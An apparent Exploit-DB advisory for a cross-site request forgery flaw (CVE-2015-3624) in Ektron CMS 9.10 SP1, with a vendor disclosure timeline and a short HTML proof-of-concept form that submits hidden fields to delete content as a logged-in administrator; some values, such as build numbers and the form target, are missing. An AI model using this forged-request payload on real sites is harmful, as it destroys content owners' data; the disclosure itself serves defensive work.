Ektron CMS 9.10 SP1 Build - CSRF Vulnerability

ID EDB-ID:37296
Type exploitdb
Reporter Jerold Hoong
Modified 2015-06-16T00:00:00


Ektron CMS 9.10 SP1 (Build - CSRF Vulnerability. CVE-2015-3624. Webapps exploit for php platform

                                            # Vulnerability type: Cross-site Request Forgery 
# Vendor: http://www.ektron.com/
# Product: Ektron Content Management System
# Affected version: =< 9.10 SP1 (Build
# Patched version: 9.10 SP1 (Build
# CVE ID: CVE-2015-3624
# Credit: Jerold Hoong


Cross-site request forgery (CSRF) vulnerability in MenuActions.aspx in Ektron CMS 9.10
SP1 before build allows remote attackers to hijack the authentication
of content administrators for requests that could lead to the deletion of content and

    <form action="">
      <input type="hidden" name="action" value="delete" />
      <input type="hidden" name="contentId" value="4210" />
      <input type="hidden" name="LangType" value="1033" />
      <input type="hidden" name="folderId" value="561" />
      <input type="hidden" name="redirectBack" value="true" />
      <input type="hidden" name="menuType" value="Workarea" />
      <input type="submit" value="Submit request" />

– 07/04/2015: Vulnerability found
– 07/04/2015: Vendor informed
– 08/04/2015: Vendor responded and acknowledged
- 01/05/2015: MITRE issued CVE number CVE-2015-3624
– 28/05/2015: Vendor fixed the issue
– 31/05/2015: Public disclosure